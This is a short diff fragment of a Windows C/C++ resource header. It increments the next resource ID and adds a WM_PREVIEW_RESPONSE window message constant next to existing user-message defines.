#define _APS_NEXT_RESOURCE_VALUE 371 #define _APS_NEXT_RESOURCE_VALUE 373
#define _APS_NEXT_COMMAND_VALUE 33048 #define _APS_NEXT_COMMAND_VALUE 33048
#define _APS_NEXT_CONTROL_VALUE 2539 #define _APS_NEXT_CONTROL_VALUE 2539
#define _APS_NEXT_SYMED_VALUE 105 #define _APS_NEXT_SYMED_VALUE 105

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@@ -101,6 +101,7 @@
#define WM_SHOWNOTIFY WM_USER+3031 #define WM_SHOWNOTIFY WM_USER+3031
#define WM_DISCONNECT WM_USER+3032 #define WM_DISCONNECT WM_USER+3032
#define WM_OPENTERMINALDIALOG WM_USER+3033 #define WM_OPENTERMINALDIALOG WM_USER+3033
#define WM_PREVIEW_RESPONSE WM_USER+3034
#ifdef _UNICODE #ifdef _UNICODE
#if defined _M_IX86 #if defined _M_IX86